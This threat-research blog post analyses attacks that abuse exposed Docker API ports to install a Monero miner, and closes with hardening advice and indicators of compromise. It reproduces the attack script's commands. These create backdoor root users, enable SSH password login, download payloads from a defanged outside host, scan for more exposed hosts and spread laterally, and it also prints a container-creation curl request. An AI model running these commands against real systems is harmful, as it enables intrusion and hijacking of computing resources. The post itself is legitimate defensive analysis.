Misconfigured Container Abused to Deliver Cryptocurrency-mining Malware

by Hubert Lin, Fyodor Yarochkin, and Alfredo Oliveira

We recently observed cases of abuse of the systems running misconfigured Docker Engine-Community with Docker application program interface (API) ports exposed. We also noticed that the malicious activities were focused on scanning for open ports 2375/TCP and 2376/TCP, which are used by the Docker engine daemon (dockerd). The intrusion attempts to deploy a cryptocurrency-mining malware (detected by Trend Micro as Coinminer.SH.MALXMR.ATNE) on the misconfigured systems.

Docker implements virtualization on the operating-system (OS) level — also known as containerization. The Docker APIs, in particular, allow remote users to control Docker images like a local Docker client does. Opening the API port for external access is not recommended, as it can allow hackers to abuse this misconfiguration for malicious activities.

The Docker engine itself isn’t compromised or abused, and Docker’s enterprise platform is not affected. We found these rare instances of abuse on Docker Community versions. In fact, Docker’s technology has security features that its users can enable and configure to protect containers and workloads. Docker also has tools, documentations, and guidelines that can help with securing Docker community and enterprise platforms. Of course, in either case, security best practices would dictate that these ports should never be left open. For example, enterprises running business applications are recommended to use a commercial Docker Enterprise solution that has a precise, role-based access control settings that only allow authenticated use of the API.

In our research, the exposure of the Docker API ports was a result of misconfiguration on the user’s part, as we found that the misconfigurations were manually set up at the administrator level. Indeed, exposure to threats via misconfigurations isn’t new, but it can be a perennial challenge for organizations. In fact, our Shodan search revealed that many still have their Docker hosts misconfigured, especially in China. The search also revealed exposed misconfigured Docker hosts in the U.S., France, Germany, Singapore, Netherlands, United Kingdom, Japan, India, and Ireland. The majority of the exposed systems run Linux OS. This is interesting to note, as the daemon on Linux has to be manually configured, which isn’t the case in Docker for Windows up until version 17.0.5-win8, which disabled exposure of the daemon for security reasons. While the misconfigurations are pervasive across different versions, our Shodan search also revealed that more than half of the exposed hosts were running version 18.06.1-ce, which is a relatively recent Docker release/version.


Figure 1: Timeline (top) and country distribution (bottom) of malicious activities and/or misconfiguration abuse observed on ports 2375 and 2376


Figure 2: Infection chain of the attacks involving misconfigured Docker engine

Packet traces and payload analysis

We observed that the attackers often create Docker containers through exposed API ports (shown in Figure 2) and run commands on compromised Docker instances:

  • Install a wget package using system package manager.
  • Use wget to download an auto-deployment script.
  • Convert the script from DOS to Unix format (the script line endings are often in DOS format).
  • Set the executable permissions for the script.
  • Run the script (auto.sh).


Figure 3: Packet trace of attacker creating a docker container via exposed Docker API port

In the observed incident, the auto.sh file is a Monero-mining deployment script containing the following commands, shown in detail below:

  • Create users “richard” and “frank” then grant them root privileges
  • Reconfigure the secure socket shell (SSH) daemon (which in Docker enables by default to access containers) to allow password authentication, and restart the SSH daemon
  • Install the following packages using system package manager: systemd (a Linux system and service manager), masscan (an internet port scanner), and iproute2 (a Linux networking tool)
  • Download additional some scripts and files for persistence and make them executable
  • Reclaim computing power by: Killing unintended Monero-mining processes; disabling autostart of unintended cryptocurrency-mining processes; starting an intended mining executable (xm.services); and enabling autostart of intended mining process.
  • Scan all networks seen from the host w/ scan rate of 50,000 packets per second for open ports 2375 and 2376 and save the result into local.txt file.
  • Spread laterally by automatically replicating the tools to the hosts found in previous reconnaissance scans
  • Check the persistence of the Monero-mining process and start the process if it is not running.

The following commands are used to create users “richard” and “frank” and assign them root privileges (anonymized/defanged):
useradd -m -p ‘xxx’ richard
useradd -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ richard
usermod -aG sudoers frank;
usermod -aG root frank;
usermod -aG sudoers richard;
usermod -aG root richard;
sudo adduser frank sudo;
sudo adduser richard sudo;

The following commands are used to reconfigure the secure socket shell (SSH):
sed -i ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ #mkdir /.tmp/etc/ssh/sshd_config;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;

The following commands are used to install additional system packages:
if [ $(dpkg-query -W -f=’${Status}’ systemd 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ masscan 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
   apt-get install masscan -y;
yum install masscan -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ iproute2 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;

Download additional scripts and files for persistence:
curl -s hxxp://X.X.X.163/k.php;
wget hxxp://X.X.X.163/data.cfg -O /data.cfg;
wget hxxp://X.X.X.163/xm -O /xm;
wget hxxp://X.X.X.163/xm.service -O /xm.service;
wget hxxp://X.X.X.163/test.sh -O test.sh;
wget hxxp://X.X.X.163/test3.sh -O test3.sh;
sleep 2s;

Make the additional scripts and files executable:
chmod 777 /xm;
chmod 777 test.sh;
chmod 777 test3.sh;
sleep 2s;

Reclaim/steal computing power by: Killing unintended Monero-mining processes; disabling autostart of unintended mining processes; running an intended mining executable (xm.services); and enabling autostart of an intended mining process (anonymized/defanged):
killall xmrig;
killall proc;
killall minergate-cli;
killall xmr-stak;

Scan all networks seen from the host, with a scan rate of 50,000 packets per second, for open port 2375 and 2376; the result is saved in local.txt (anonymized/defanged):
masscan “$@” -p2375,2376 –rate=50000 -oG local.txt; 

Conduct lateral movement by infecting or abusing more hosts found in previous reconnaissance:
sudo sed -i ‘s/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g’ local.txt;
sudo sh test3.sh local.txt;

Check the persistence of Monero-mining process and run it if it’s not running:
ps cax | grep xm > /dev/null
if [ $? -eq 0 ]; then
echo “Process is running.”
else
echo “Process is not running.”
cp /data.cfg data.cfg
cp /xm xm
./xm -c data.cfg
/xm -c data.cfg
cd /
/xm -c data.cfg
echo “BAM!.”
fi;

Earlier Docker API Abuse
Docker API abuse is not new and we have observed similar activities since early 2017. In one instance in April 2017, attackers discovered a misconfigured Docker API installation where port 4243 was exposed for external access (the port was used to connecting to the dockerd REST API). After successfully creating a Docker container, the attacker deployed an additional SSH key on the compromised system and installed a distributed-denial-of-service (DDoS) bot along with other tools and scripts to ensure that the deployed bot would automatically restart on startup.

Since no authentication was configured on the Docker instance, the attacker was able to directly create a Docker container by running a similar command (seen below). Similar to the incidents we’ve recently observed, the “create” command was used to create a new container and use Ubuntu image then deploy the malicious software.

The following is the command we saw in 2017:
curl -H “Content-Type: application/json”  -d ‘{“Image”: “ubuntu”, “Cmd”: [“/bin/bash”]}’  -X POST hxxp://X.X.X.X:4243/v1.19/containers/create

Furthermore, the attacker was allowed to connect back to Docker via the attach method in order to gain shell access:
POST /v1.19/containers/<container_id>/attach?stderr=1&stdin=1&stdout=1&stream=1″

There is number of ways how this can be prevented. Obviously, the best advice is not to expose the Docker REST API port externally. Even the docker system logs advice this:
level=warning msg=”/!\\ DON’T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON’T KNOW WHAT YOU’RE DOING /!\\”

If you must access the Docker RESTful API externally, make sure that TLS authentication is enabled and configured.

Best Practices and Trend Micro solutions
Containers enable organizations to efficiently deploy their applications to the cloud — this is particularly true for those adopting DevOps, which focuses on rapid development and delivery. Indeed, an unsecure, misconfigured, or vulnerable application or software means wasting resources on superfluous work or builds. Leaving them exposed to threats can adversely affect not only the privacy of data stored and managed by the application, but also the integrity of the underlying infrastructures that host and run workloads. Incorporating automated security early into the development life cycle not only reduces disruptions, but also helps IT and DevOps teams bridge security gaps faster.

Here are some best practices for Docker security:

  • Harden the security posture. The Center for Internet Security (CIS) has a reference that can help system administrators and security teams establish a benchmark to secure their Docker engine.
  • Ensure that container images are authenticated, signed, and from a trusted registry (i.e., Docker Trusted Registry). Employing automated image scanning tools helps improve development cycles.
  • Enforce the principle of least privilege. For instance, restrict access to the daemon and encrypt the communication protocols it uses to connect to the network. Docker has guidelines on how to protect the daemon socket.
  • Properly configure how much resources containers are allowed to use (control groups and namespaces).
  • Enable Docker’s built-in security features to help defend against threats. Docker has several guidelines on how to securely configure Docker-based applications.

Trend Micro’s Hybrid Cloud Security solution provides powerful, streamlined, and automated security within your organization’s DevOps pipeline and delivers multiple XGen™ threat defense techniques for protecting runtime physical, virtual, and cloud workloads. It also adds protection for containers via Deep Security and Deep Security Smart Check, including the scanning of container images during predeployment and at runtime.

These solutions enable organizations to focus on security and compliance while still moving in the agile and adaptable world of DevOps. They also reduce the number of security tools needed with multiple security capabilities and a single dashboard to give you full visibility into leading environments like Amazon Web ServicesDockerMicrosoft Azure, and VMware. The Trend Micro Deep Security solution lowers the cost and complexity of securing workloads across multiple environments, including automated deployment, extensive API integration, and security capabilities that can virtually shield servers from the latest advanced threats.

Trend Micro™ Home Network Security and Trend Micro Smart Home Network™ customers are protected from particular vulnerabilities via these rule:

  • 1133254 WEB Remote Command Execution via Shell Script -1.b

Indicators of Compromise (IoCs):
Hashes detected as Coinminer.SH.MALXMR.ATNE (SHA-256):

  • 61698b873322fa711c1c30956260c1438949db90a3c3b634a4664080e66fc64d
  • e45a416e8ee1177202bb96732d1b74be98ecc22ba01a96de109e7a54e71cf4e0

Hash detected as Coinminer.SH.MALXMR.ATNG (SHA-256):

  • 684a62e76283d62ddd39bdd16f3bbdcf361002ed5a1f2b6c50ecf33bfd333783

Hash detected as Coinminer.SH.MALXMR.ATNH  (SHA-256):

  • 9da6ea45baae25f5f1e2da3d32eac7a6fd534140e83bdef3bd46dd78a18e29b5

Hash of deployed DDoS tool (SHA-256):

With additional analysis and insights by Patrick Roderno

The post Misconfigured Container Abused to Deliver Cryptocurrency-mining Malware appeared first on .

Article Link: http://feeds.trendmicro.com/~r/Anti-MalwareBlog/~3/wUsrpObaZzo/